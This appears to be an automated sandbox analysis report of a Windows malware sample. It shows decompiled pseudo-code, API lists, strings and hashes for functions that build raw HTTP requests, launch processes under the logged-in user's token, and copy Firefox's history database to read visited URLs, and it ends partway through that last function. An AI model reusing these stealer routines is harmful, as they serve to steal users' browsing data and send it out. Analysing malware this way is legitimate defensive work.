				if(_t196 != 0 &&  *0x41cb38 != 0 &&  *0x41cb3c != 0 &&  *0x41cb40 != 0 &&  *0x41cb44 != 0 &&  *0x41cb48 != 0 &&  *0x41cb4c != 0 &&  *0x41cb50 != 0 &&  *0x41cb54 != 0) {
					E004034E4( &_v24);
					_push( &_v432);
					_push(E00404F40(2, 2));
					if( *0x41cb38() == 0) {
						_t225 =  *0x41cb40(2, 1, 0);
						if(_t225 != 0xffffffff) {
							_v448 = 2;
							_t144 =  *0x41cb3c(E00403990(_v8));
							if(_t144 != 0) {
								_v444 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t144 + 0xc))))));
								_v446 =  *0x41cb4c(_a8);
								_t151 =  *0x41cb50(_t225,  &_v448, 0x10);
								_t243 = _t151;
								if(_t151 == 0) {
									E00403850();
									E00403D88( &_v1480, _v1484);
									E0041745C(E00403790(_a12), _t196,  &_v1488, _t225, _t243);
									E00403D88( &_v1492, _a12);
									E00403E78();
									E0040377C( &_v20, _v1476);
									 *0x41cb44(_t225, E004039E8( &_v20), E00403790(_v20), 0, _v1492, L"\r\n\r\n", _v1488, _v1480, "Content-Length: ", 0x417cd4, "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)", "User-agent: ", "Connection: close\r\n", 0x417cd4, _a16, "Host: ", " HTTP/1.0\r\n", _v12, 0x417ca4, _v16);
									E004034E4( &_v24);
									do {
										E004034E4( &_v32);
										E004028E0( &_v1472, 0x400);
										_t197 =  *0x41cb48(_t225,  &_v1472, 0x400, 0);
										E004035D4( &_v32, _t197,  &_v1472);
										E00403798( &_v24, _v32);
									} while (_t197 > 0);
									 *0x41cb54(_t225);
									_push( &_v24);
									_push(E00403AD4(0x417d7c, _v24) + 4);
									_t186 = E00403790(_v24);
									_pop(_t222);
									E004039F0(_v24, _t186, _t222);
									E00403538(_a4, _v24);
								}
							}
						}
					}
				}
				_pop(_t206);
				 *[fs:eax] = _t206;
				_push(E00417C38);
				E00403BF4( &_v1492, 2);
				E004034E4( &_v1484);
				E00403BF4( &_v1480, 2);
				E00403508( &_v32, 7);
				return E00403508( &_a12, 2);
			}

0x0041782d
0x00417833
0x00417839
0x0041783f
0x00417845
0x0041784b
0x0041784e
0x00417851
0x00417854
0x00417857
0x0041785a
0x0041785d
0x00417863
0x0041786b
0x00417873
0x0041787b
0x00417883
0x0041788a
0x0041788b
0x00417890
0x00417893
0x0041789e
0x004178b1
0x004178b5
0x004178c5
0x004178c5
0x004178d9
0x004178f0
0x00417907
0x0041791e
0x00417935
0x0041794c
0x00417963
0x0041797a
0x00417981
0x004179f2
0x004179fd
0x00417a07
0x00417a10
0x00417a22
0x00417a27
0x00417a2d
0x00417a3f
0x00417a47
0x00417a54
0x00417a65
0x00417a76
0x00417a7c
0x00417a7e
0x00417ac5
0x00417ad6
0x00417aef
0x00417b08
0x00417b1e
0x00417b2c
0x00417b46
0x00417b4f
0x00417b54
0x00417b57
0x00417b69
0x00417b83
0x00417b90
0x00417b9b
0x00417ba0
0x00417ba5
0x00417bae
0x00417bbf
0x00417bc3
0x00417bcd
0x00417bce
0x00417bd9
0x00417bd9
0x00417a7e
0x00417a47
0x00417a27
0x00417a10
0x00417be0
0x00417be3
0x00417be6
0x00417bf6
0x00417c01
0x00417c11
0x00417c1e
0x00417c30

APIs

GetModuleHandleA.KERNEL32(00000000,00000000,00417C31,?,00000000,00000000,?,00418203,00000000,?,?,?), ref: 004178AC
LoadLibraryA.KERNEL32(00000000,00000000,00000000,00417C31,?,00000000,00000000,?,00418203,00000000,?,?,?), ref: 004178C0
GetProcAddress.KERNEL32(00000000,-0000000C), ref: 004178D4
GetProcAddress.KERNEL32(00000000,-00000017), ref: 004178EB
GetProcAddress.KERNEL32(00000000,-00000025), ref: 00417902
GetProcAddress.KERNEL32(00000000,-0000002C), ref: 00417919
GetProcAddress.KERNEL32(00000000,-00000031), ref: 00417930
GetProcAddress.KERNEL32(00000000,-00000036), ref: 00417947
GetProcAddress.KERNEL32(00000000,-0000003C), ref: 0041795E
GetProcAddress.KERNEL32(00000000,-00000044), ref: 00417975

Strings

Host: , xrefs: 00417A94
HTTP/1.0, xrefs: 00417A8F
Content-Length: , xrefs: 00417AB5
Connection: close, xrefs: 00417AA1
User-agent: , xrefs: 00417AA6
, xrefs: 00417BB2
, xrefs: 00417AFA
wsock32.dll, xrefs: 00417899
Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1), xrefs: 00417AAB

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: AddressProc$HandleLibraryLoadModule
String ID: $$ HTTP/1.0$Connection: close$Content-Length: $Host: $Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)$User-agent: $wsock32.dll
API String ID: 384173800-3355491746
Opcode ID: b831acf75b33ce788b8c120819d800a9bb333e76fc7a647fd8acf93ac5003d10
Instruction ID: 40f87eb91c0466ae62d4265024b0cddbd223269e9b4c2b0dfc8b3cbba4f3f7f6
Opcode Fuzzy Hash: b831acf75b33ce788b8c120819d800a9bb333e76fc7a647fd8acf93ac5003d10
Instruction Fuzzy Hash: 22B101B19042099BDB10EF65DC86ADFBBB8BB04309F10407BE505F22D1DB78AA458F98

Uniqueness

Uniqueness Score: -1.00%

Function 00413C90, Relevance: 31.6, APIs: 16, Strings: 2, Instructions: 115COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60 ref: 00413CE5
#702.MSVBVM60(?,000000FF,000000FE,000000FE,000000FE), ref: 00413D05
__vbaStrMove.MSVBVM60 ref: 00413D16
__vbaStrMove.MSVBVM60(000000D2,?), ref: 00413D38
#628.MSVBVM60(00000000), ref: 00413D3B
#526.MSVBVM60(?,0000008F), ref: 00413D54
__vbaVarTstEq.MSVBVM60(?,00008008), ref: 00413D62
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 00413D74
__vbaFreeVarList.MSVBVM60(00000004,00000003,00000002,00008008,?), ref: 00413D8C
__vbaVarDup.MSVBVM60 ref: 00413DB4
#515.MSVBVM60(00000002,00000003,000000EC), ref: 00413DC7
__vbaStrVarMove.MSVBVM60(00000002), ref: 00413DD1
__vbaStrMove.MSVBVM60 ref: 00413DDC
__vbaFreeVarList.MSVBVM60(00000002,00000003,00000002), ref: 00413DE8
__vbaFreeStr.MSVBVM60(00413E40), ref: 00413E38
__vbaFreeStr.MSVBVM60 ref: 00413E3D

Strings

Steterne, xrefs: 00413DA3
H, xrefs: 00413D27

Memory Dump Source

Source File: 0000000C.00000001.382378226.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: __vba$Free$Move$List$#515#526#628#702Copy
String ID: H$Steterne
API String ID: 2978478683-3140766855
Opcode ID: 3b17bf8de32ee8e1a437929966da70973ba5554184b765fe8b62450b9a02096e
Instruction ID: 39b6e14083cd46221bc8a31b0e15d0ac484ca9c98b2cbe4b18855a0947b45de6
Opcode Fuzzy Hash: 3b17bf8de32ee8e1a437929966da70973ba5554184b765fe8b62450b9a02096e
Instruction Fuzzy Hash: FD41FCB1C01219ABDB04DFD4DA45ADDBBB9FB48700F20811AE516B7190DB742B49CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00413A90, Relevance: 31.6, APIs: 14, Strings: 4, Instructions: 86COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60 ref: 00413AE8
__vbaStrCopy.MSVBVM60 ref: 00413AF0
#512.MSVBVM60(Fortidslevningen6,00000055), ref: 00413AF9
__vbaStrMove.MSVBVM60 ref: 00413B0A
__vbaStrCmp.MSVBVM60(Mdeberettigedes1,00000000), ref: 00413B12
__vbaFreeStr.MSVBVM60 ref: 00413B24
#692.MSVBVM60(?,Narwhalian7,Unsapient), ref: 00413B3D
#524.MSVBVM60(?,?), ref: 00413B4B
__vbaStrVarMove.MSVBVM60(?), ref: 00413B55
__vbaStrMove.MSVBVM60 ref: 00413B60
__vbaFreeVarList.MSVBVM60(00000002,?,?), ref: 00413B6C
__vbaFreeStr.MSVBVM60(00413BB6), ref: 00413BA9
__vbaFreeStr.MSVBVM60 ref: 00413BAE
__vbaFreeStr.MSVBVM60 ref: 00413BB3

Strings

Fortidslevningen6, xrefs: 00413AF4
Unsapient, xrefs: 00413B2F
Mdeberettigedes1, xrefs: 00413B0D
Narwhalian7, xrefs: 00413B34

Memory Dump Source

Source File: 0000000C.00000001.382378226.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: __vba$Free$Move$Copy$#512#524#692List
String ID: Fortidslevningen6$Mdeberettigedes1$Narwhalian7$Unsapient
API String ID: 2084278817-2264054839
Opcode ID: 38ad1277ae108e22d59990e4e4eb50217e925b04c32dfdc32a1ae6b1a99d3bdf
Instruction ID: b289ca82178259a1545aeb94bcdc38d7db082e8df7ace206d6d1c468ed9e980f
Opcode Fuzzy Hash: 38ad1277ae108e22d59990e4e4eb50217e925b04c32dfdc32a1ae6b1a99d3bdf
Instruction Fuzzy Hash: F5310075D00219ABCB04DFA5DD859DEFBB8FF58740F10411AE502B72A0EB746A85CF98

Uniqueness

Uniqueness Score: -1.00%

Function 00407E8C, Relevance: 22.8, APIs: 6, Strings: 7, Instructions: 100
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 49%

			E00407E8C(intOrPtr* __eax, void* __ebx, void* __edx, void* __edi, void* __esi) {
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v36;
				intOrPtr _v100;
				char _v104;
				char _v108;
				char _v112;
				intOrPtr _v117;
				_Unknown_base(*)()* _t28;
				_Unknown_base(*)()* _t30;
				intOrPtr* _t61;
				intOrPtr _t74;
				intOrPtr* _t76;
				void* _t79;
				void* _t81;

				 *__eax =  *__eax + __eax;
				_v117 = _v117 + __edx;
				_v112 = 0;
				_v12 = 0;
				_v20 = 0;
				 *[fs:eax] = _t81 + 0xffffff98;
				_t28 = GetProcAddress(LoadLibraryA("kernel32.dll"), "WTSGetActiveConsoleSessionId");
				_t30 = GetProcAddress(LoadLibraryA("wtsapi32.dll"), "WTSQueryUserToken");
				_t76 = GetProcAddress(LoadLibraryA("userenv.dll"), "CreateEnvironmentBlock");
				E00402754(0,  &_v112);
				E00403D88( &_v20, _v112);
				E00404F5C();
				_v108 = 0x44;
				_v100 = 0;
				 *_t28( *[fs:eax], 0x407fa6, _t81, __edi, __esi, __ebx, _t79, __ebx);
				_push( &_v16);
				_push(0);
				if( *_t30() != 0) {
					 *_t76( &_v20, _v12, 0xffffffff);
					_t61 =  *0x41b32c; // 0x41c724
					 *((intOrPtr*)( *_t61))(_v12, E00403D98(_v16), E00403D98(_v8), 0, 0, 0, 0x400, _v20, 0,  &_v104,  &_v36);
					asm("sbb eax, eax");
				}
				_pop(_t74);
				 *[fs:eax] = _t74;
				_push(E00407FAD);
				E004034E4( &_v108);
				E00403BDC( &_v16);
				return E00403BDC( &_v8);
			}

0x00407e8d
0x00407e8f
0x00407e9b
0x00407e9e
0x00407ea1
0x00407eaf
0x00407ec2
0x00407ed9
0x00407ef5
0x00407efc
0x00407f07
0x00407f14
0x00407f19
0x00407f22
0x00407f25
0x00407f2c
0x00407f2d
0x00407f32
0x00407f3e
0x00407f6f
0x00407f76
0x00407f7b
0x00407f7e
0x00407f82
0x00407f85
0x00407f88
0x00407f90
0x00407f98
0x00407fa5

APIs

LoadLibraryA.KERNEL32(kernel32.dll,WTSGetActiveConsoleSessionId,00000000,00407FA6,?,-00000001), ref: 00407EBC
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00407EC2
LoadLibraryA.KERNEL32(wtsapi32.dll,WTSQueryUserToken,00000000,kernel32.dll,WTSGetActiveConsoleSessionId,00000000,00407FA6,?,-00000001), ref: 00407ED3
GetProcAddress.KERNEL32(00000000,wtsapi32.dll), ref: 00407ED9
LoadLibraryA.KERNEL32(userenv.dll,CreateEnvironmentBlock,00000000,wtsapi32.dll,WTSQueryUserToken,00000000,kernel32.dll,WTSGetActiveConsoleSessionId,00000000,00407FA6,?,-00000001), ref: 00407EEA
GetProcAddress.KERNEL32(00000000,userenv.dll), ref: 00407EF0

Part of subcall function 00402754: GetModuleFileNameA.KERNEL32(00000000,?,00000105,-00000001,?,?,004195AF,?), ref: 00402778

Strings

WTSQueryUserToken, xrefs: 00407EC9
WTSGetActiveConsoleSessionId, xrefs: 00407EB2
wtsapi32.dll, xrefs: 00407ECE
CreateEnvironmentBlock, xrefs: 00407EE0
D, xrefs: 00407F19
userenv.dll, xrefs: 00407EE5
kernel32.dll, xrefs: 00407EB7

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: AddressLibraryLoadProc$FileModuleName
String ID: CreateEnvironmentBlock$D$WTSGetActiveConsoleSessionId$WTSQueryUserToken$kernel32.dll$userenv.dll$wtsapi32.dll
API String ID: 2206896924-1825016774
Opcode ID: e11f1d7bc5f322904e2e208dc13548be800b35a4d7b82cc5db7195152a230e64
Instruction ID: ac0e2f41aa2f423c9d9a8d80f7c11eaba859030c7a64cc794fed102b433a0b1d
Opcode Fuzzy Hash: e11f1d7bc5f322904e2e208dc13548be800b35a4d7b82cc5db7195152a230e64
Instruction Fuzzy Hash: 2A3139B1A44208AEDB00EBE5CC42F9EBBB8AB49704F50057AF514F71D1DA78AA058B58

Uniqueness

Uniqueness Score: -1.00%

Function 00407E90, Relevance: 22.8, APIs: 6, Strings: 7, Instructions: 98
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 48%

			E00407E90(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags) {
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v36;
				intOrPtr _v96;
				char _v104;
				char _v108;
				_Unknown_base(*)()* _t25;
				_Unknown_base(*)()* _t27;
				intOrPtr* _t58;
				intOrPtr _t71;
				intOrPtr* _t73;
				void* _t76;
				void* _t78;

				_v108 = 0;
				_v8 = 0;
				_v16 = 0;
				 *[fs:eax] = _t78 + 0xffffff98;
				_t25 = GetProcAddress(LoadLibraryA("kernel32.dll"), "WTSGetActiveConsoleSessionId");
				_t27 = GetProcAddress(LoadLibraryA("wtsapi32.dll"), "WTSQueryUserToken");
				_t73 = GetProcAddress(LoadLibraryA("userenv.dll"), "CreateEnvironmentBlock");
				E00402754(0,  &_v108);
				E00403D88( &_v16, _v108);
				E00404F5C();
				_v104 = 0x44;
				_v96 = 0;
				 *_t25( *[fs:eax], 0x407fa6, _t78, __edi, __esi, __ebx, _t76);
				_push( &_v12);
				_push(0);
				if( *_t27() != 0) {
					 *_t73( &_v20, _v12, 0xffffffff);
					_t58 =  *0x41b32c; // 0x41c724
					 *((intOrPtr*)( *_t58))(_v12, E00403D98(_v16), E00403D98(_v8), 0, 0, 0, 0x400, _v20, 0,  &_v104,  &_v36);
					asm("sbb eax, eax");
				}
				_pop(_t71);
				 *[fs:eax] = _t71;
				_push(E00407FAD);
				E004034E4( &_v108);
				E00403BDC( &_v16);
				return E00403BDC( &_v8);
			}

0x00407e9b
0x00407e9e
0x00407ea1
0x00407eaf
0x00407ec2
0x00407ed9
0x00407ef5
0x00407efc
0x00407f07
0x00407f14
0x00407f19
0x00407f22
0x00407f25
0x00407f2c
0x00407f2d
0x00407f32
0x00407f3e
0x00407f6f
0x00407f76
0x00407f7b
0x00407f7e
0x00407f82
0x00407f85
0x00407f88
0x00407f90
0x00407f98
0x00407fa5

APIs

LoadLibraryA.KERNEL32(kernel32.dll,WTSGetActiveConsoleSessionId,00000000,00407FA6,?,-00000001), ref: 00407EBC
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00407EC2
LoadLibraryA.KERNEL32(wtsapi32.dll,WTSQueryUserToken,00000000,kernel32.dll,WTSGetActiveConsoleSessionId,00000000,00407FA6,?,-00000001), ref: 00407ED3
GetProcAddress.KERNEL32(00000000,wtsapi32.dll), ref: 00407ED9
LoadLibraryA.KERNEL32(userenv.dll,CreateEnvironmentBlock,00000000,wtsapi32.dll,WTSQueryUserToken,00000000,kernel32.dll,WTSGetActiveConsoleSessionId,00000000,00407FA6,?,-00000001), ref: 00407EEA
GetProcAddress.KERNEL32(00000000,userenv.dll), ref: 00407EF0

Part of subcall function 00402754: GetModuleFileNameA.KERNEL32(00000000,?,00000105,-00000001,?,?,004195AF,?), ref: 00402778

Strings

WTSQueryUserToken, xrefs: 00407EC9
WTSGetActiveConsoleSessionId, xrefs: 00407EB2
wtsapi32.dll, xrefs: 00407ECE
CreateEnvironmentBlock, xrefs: 00407EE0
D, xrefs: 00407F19
userenv.dll, xrefs: 00407EE5
kernel32.dll, xrefs: 00407EB7

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: AddressLibraryLoadProc$FileModuleName
String ID: CreateEnvironmentBlock$D$WTSGetActiveConsoleSessionId$WTSQueryUserToken$kernel32.dll$userenv.dll$wtsapi32.dll
API String ID: 2206896924-1825016774
Opcode ID: b51bd9b2d158c1ec649fb8ca4aae382455afe83a3a767a6b98d08edd284edffb
Instruction ID: 15232c232ae21084946ce838b98eef105223b8b68f92314a8400df0ccc42bf71
Opcode Fuzzy Hash: b51bd9b2d158c1ec649fb8ca4aae382455afe83a3a767a6b98d08edd284edffb
Instruction Fuzzy Hash: CF313AB1A04309AEDB00EBE5CC42F9EBBECAF49704F500576F514F71D1EA78AA048B58

Uniqueness

Uniqueness Score: -1.00%

Function 00413E60, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 102COMMON

Download Yara Rule

APIs

__vbaVarDup.MSVBVM60 ref: 00413EBA
#617.MSVBVM60(?,?,00000084), ref: 00413ECD
#703.MSVBVM60(?,000000FF,000000FE,000000FE,000000FE), ref: 00413EF4
__vbaVarTstLe.MSVBVM60(?,?), ref: 00413F0C
__vbaFreeVarList.MSVBVM60(00000004,?,00000006,?,00008008), ref: 00413F27
__vbaNew2.MSVBVM60(00412DB8,004172D4), ref: 00413F47
__vbaHresultCheckObj.MSVBVM60(00000000,02AAECFC,00412DA8,00000014), ref: 00413F6C
__vbaHresultCheckObj.MSVBVM60(00000000,?,00412DC8,00000108), ref: 00413F99
__vbaFreeObj.MSVBVM60 ref: 00413FA2

Strings

antifeminine, xrefs: 00413EAC

Memory Dump Source

Source File: 0000000C.00000001.382378226.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: __vba$CheckFreeHresult$#617#703ListNew2
String ID: antifeminine
API String ID: 1634331335-1895377292
Opcode ID: 066feb32dc378839b229abeb6c03d558ab24a990b53cb6870491cc00db98f125
Instruction ID: d0e686112637c348d9e4e7b270759d59941817f85e8d3d1804e60d3040fb838c
Opcode Fuzzy Hash: 066feb32dc378839b229abeb6c03d558ab24a990b53cb6870491cc00db98f125
Instruction Fuzzy Hash: 4A4117B1800209AFCB14DF94DD49EDEBFB8BF58711F20425AF206B72A0DBB45589CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00402668, Relevance: 16.6, APIs: 9, Strings: 2, Instructions: 109
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402668(CHAR* __eax, intOrPtr* __edx) {
				char _t5;
				char _t6;
				CHAR* _t7;
				char _t9;
				CHAR* _t11;
				char _t14;
				CHAR* _t15;
				char _t17;
				CHAR* _t19;
				CHAR* _t22;
				CHAR* _t23;
				CHAR* _t32;
				intOrPtr _t33;
				intOrPtr* _t34;
				void* _t35;
				void* _t36;

				_t34 = __edx;
				_t22 = __eax;
				while(1) {
					L2:
					_t5 =  *_t22;
					if(_t5 != 0 && _t5 <= 0x20) {
						_t22 = CharNextA(_t22);
					}
					L2:
					_t5 =  *_t22;
					if(_t5 != 0 && _t5 <= 0x20) {
						_t22 = CharNextA(_t22);
					}
					L4:
					if( *_t22 != 0x22 || _t22[1] != 0x22) {
						_t36 = 0;
						_t32 = _t22;
						while(1) {
							_t6 =  *_t22;
							if(_t6 <= 0x20) {
								break;
							}
							if(_t6 != 0x22) {
								_t7 = CharNextA(_t22);
								_t36 = _t36 + _t7 - _t22;
								_t22 = _t7;
								continue;
							}
							_t22 = CharNextA(_t22);
							while(1) {
								_t9 =  *_t22;
								if(_t9 == 0 || _t9 == 0x22) {
									break;
								}
								_t11 = CharNextA(_t22);
								_t36 = _t36 + _t11 - _t22;
								_t22 = _t11;
							}
							if( *_t22 != 0) {
								_t22 = CharNextA(_t22);
							}
						}
						E00403B1C(_t34, _t36);
						_t23 = _t32;
						_t33 =  *_t34;
						_t35 = 0;
						while(1) {
							_t14 =  *_t23;
							if(_t14 <= 0x20) {
								break;
							}
							if(_t14 != 0x22) {
								_t15 = CharNextA(_t23);
								if(_t15 <= _t23) {
									continue;
								} else {
									goto L27;
								}
								do {
									L27:
									 *((char*)(_t33 + _t35)) =  *_t23;
									_t23 =  &(_t23[1]);
									_t35 = _t35 + 1;
								} while (_t15 > _t23);
								continue;
							}
							_t23 = CharNextA(_t23);
							while(1) {
								_t17 =  *_t23;
								if(_t17 == 0 || _t17 == 0x22) {
									break;
								}
								_t19 = CharNextA(_t23);
								if(_t19 <= _t23) {
									continue;
								} else {
									goto L21;
								}
								do {
									L21:
									 *((char*)(_t33 + _t35)) =  *_t23;
									_t23 =  &(_t23[1]);
									_t35 = _t35 + 1;
								} while (_t19 > _t23);
							}
							if( *_t23 != 0) {
								_t23 = CharNextA(_t23);
							}
						}
						return _t23;
					} else {
						_t22 =  &(_t22[2]);
						continue;
					}
				}
			}

0x0040266c
0x0040266e
0x0040267a
0x0040267a
0x0040267a
0x0040267e
0x00402678
0x00402678
0x0040267a
0x0040267a
0x0040267e
0x00402678
0x00402678
0x00402684
0x00402687
0x00402694
0x00402696
0x004026dd
0x004026dd
0x004026e1
0x00000000
0x00000000
0x0040269c
0x004026d0
0x004026d9
0x004026db
0x00000000
0x004026db
0x004026a4
0x004026b6
0x004026b6
0x004026ba
0x00000000
0x00000000
0x004026a9
0x004026b2
0x004026b4
0x004026b4
0x004026c3
0x004026cb
0x004026cb
0x004026c3
0x004026e7
0x004026ec
0x004026ee
0x004026f0
0x00402745
0x00402745
0x00402749
0x00000000
0x00000000
0x004026f6
0x00402731
0x00402738
0x00000000
0x00000000
0x00000000
0x00000000
0x0040273a
0x0040273a
0x0040273c
0x0040273f
0x00402740
0x00402741
0x00000000
0x0040273a
0x004026fe
0x00402717
0x00402717
0x0040271b
0x00000000
0x00000000
0x00402703
0x0040270a
0x00000000
0x00000000
0x00000000
0x00000000
0x0040270c
0x0040270c
0x0040270e
0x00402711
0x00402712
0x00402713
0x0040270c
0x00402724
0x0040272c
0x0040272c
0x00402724
0x00402751
0x0040268f
0x0040268f
0x00000000
0x0040268f
0x00402687

APIs

CharNextA.USER32(00000000,?,00000000,00000000,?,0040279A,-00000001,?,?,004195AF,?), ref: 0040269F
CharNextA.USER32(00000000,00000000,?,00000000,00000000,?,0040279A,-00000001,?,?,004195AF,?), ref: 004026A9
CharNextA.USER32(00000000,00000000,?,00000000,00000000,?,0040279A,-00000001,?,?,004195AF,?), ref: 004026C6
CharNextA.USER32(00000000,?,00000000,00000000,?,0040279A,-00000001,?,?,004195AF,?), ref: 004026D0
CharNextA.USER32(00000000,00000000,?,00000000,00000000,?,0040279A,-00000001,?,?,004195AF,?), ref: 004026F9
CharNextA.USER32(00000000,00000000,00000000,?,00000000,00000000,?,0040279A,-00000001,?,?,004195AF,?), ref: 00402703
CharNextA.USER32(00000000,00000000,00000000,?,00000000,00000000,?,0040279A,-00000001,?,?,004195AF,?), ref: 00402727
CharNextA.USER32(00000000,00000000,?,00000000,00000000,?,0040279A,-00000001,?,?,004195AF,?), ref: 00402731

Strings

", xrefs: 00402689
", xrefs: 00402684

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: CharNext
String ID: "$"
API String ID: 3213498283-3758156766
Opcode ID: c6d8730434dbc330e26cf7f014052777a241139f1a82d49c5bcfa5fb36d78824
Instruction ID: 06a23872e8460c007548b42de0442a537cd71877075bfb16317ebbd4e879d901
Opcode Fuzzy Hash: c6d8730434dbc330e26cf7f014052777a241139f1a82d49c5bcfa5fb36d78824
Instruction Fuzzy Hash: 2D21E7546043D51ADB31297A0AC877A7B894A5B304B68087BD0C1BB3D7D4FE4C8B832D

Uniqueness

Uniqueness Score: -1.00%

Function 00414130, Relevance: 13.5, APIs: 9, Instructions: 48COMMON

Download Yara Rule

APIs

#583.MSVBVM60(D0180000,4202A49F,?,?,?,?,?,?,00401406), ref: 00414177
__vbaFPFix.MSVBVM60(?,?,?,?,?,?,00401406), ref: 0041417D
__vbaFpR8.MSVBVM60(?,?,?,?,?,?,00401406), ref: 00414183
#669.MSVBVM60(?,?,?,?,?,?,00401406), ref: 00414196
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,00401406), ref: 004141A7
#527.MSVBVM60(00000000,?,?,?,?,?,?,00401406), ref: 004141AA
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,00401406), ref: 004141B5
__vbaFreeStr.MSVBVM60(?,?,?,?,?,?,00401406), ref: 004141BA
__vbaFreeStr.MSVBVM60(004141DC,?,?,?,?,?,?,00401406), ref: 004141D5

Memory Dump Source

Source File: 0000000C.00000001.382378226.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: __vba$FreeMove$#527#583#669
String ID:
API String ID: 1159266349-0
Opcode ID: c5e1aeec05348a06619e09a2fc052ebba6676f35a6d1b5f59178a74542b39528
Instruction ID: cafe945f7c9752fc041132f697bf7eefb4a03c05b68149731f5ff140119e8c35
Opcode Fuzzy Hash: c5e1aeec05348a06619e09a2fc052ebba6676f35a6d1b5f59178a74542b39528
Instruction Fuzzy Hash: 03112A70D00244EBCB01AFA4DE4DA9E7FB8FB48741F10816AF542A26B0DB745A91CF89

Uniqueness

Uniqueness Score: -1.00%

Function 0041253C, Relevance: 12.5, APIs: 3, Strings: 4, Instructions: 222
fileCOMMON

Download Yara Rule

C-Code - Quality: 43%

			E0041253C(char __eax, void* __ebx, intOrPtr __edx, void* __edi, void* __esi) {
				char _v8;
				intOrPtr _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				char _v56;
				char _v60;
				char _v64;
				intOrPtr _v68;
				char _v72;
				char _v76;
				char _v80;
				char _v84;
				char _v88;
				char _v92;
				WCHAR* _t86;
				intOrPtr* _t101;
				void* _t103;
				intOrPtr* _t105;
				intOrPtr* _t109;
				intOrPtr* _t138;
				void* _t140;
				intOrPtr* _t142;
				void* _t144;
				intOrPtr* _t152;
				intOrPtr* _t158;
				intOrPtr* _t164;
				void* _t166;
				void* _t178;
				intOrPtr _t198;
				intOrPtr _t200;
				intOrPtr _t213;
				intOrPtr _t217;
				intOrPtr _t218;
				void* _t219;
				void* _t220;

				_t215 = __esi;
				_t177 = __ebx;
				_t217 = _t218;
				_t178 = 0xb;
				do {
					_push(0);
					_push(0);
					_t178 = _t178 - 1;
					_t223 = _t178;
				} while (_t178 != 0);
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v12 = __edx;
				_v8 = __eax;
				E00404150( &_v8);
				_push(_t217);
				_push(0x412809);
				_push( *[fs:eax]);
				 *[fs:eax] = _t218;
				E00403BDC( &_v28);
				_push(_t217);
				_push(0x41277f);
				_push( *[fs:eax]);
				 *[fs:eax] = _t218;
				E0040709C(GetTickCount(), __ebx,  &_v60, __esi, _t223);
				_push(_v60);
				E00406FDC( &_v64, __ebx, __edi, __esi, _t223);
				_push(_v64);
				_push(L".tmp");
				E00403E78();
				E004078D8(_v8, _t177,  &_v40, _t223);
				E004062FC(L"%TEMP%",  &_v72, _t223);
				_push(_v72);
				_push(0x412840);
				_push(_v32);
				E00403E78();
				E004078D8(_v68, _t177,  &_v44, _t223);
				_t86 = E00403D98(_v44);
				CopyFileW(E00403D98(_v40), _t86, 0xffffffff);
				E0040377C( &_v76, _v44);
				E00404B58(_v76, _t177, _t178,  &_v36, _t215, _t223);
				E00403D88( &_v80, _v36);
				if(E0040776C(_v80, _t177, _t178) != 0) {
					_t101 =  *0x41b140; // 0x41ca20
					_t103 =  *((intOrPtr*)( *_t101))(E00403990(_v36),  &_v16);
					_t219 = _t218 + 8;
					__eflags = _t103;
					if(_t103 == 0) {
						_t138 =  *0x41b2d4; // 0x41ca28
						_t140 =  *((intOrPtr*)( *_t138))(_v16, "SELECT DATETIME(moz_historyvisits.visit_date/1000000, \"unixepoch\", \"localtime\"),moz_places.title,moz_places.url FROM moz_places, moz_historyvisits WHERE moz_places.id = moz_historyvisits.place_id ORDER By moz_historyvisits.visit_date DESC LIMIT 0, 10000", 0xffffffff,  &_v20,  &_v24);
						_t220 = _t219 + 0x14;
						__eflags = _t140;
						if(_t140 == 0) {
							while(1) {
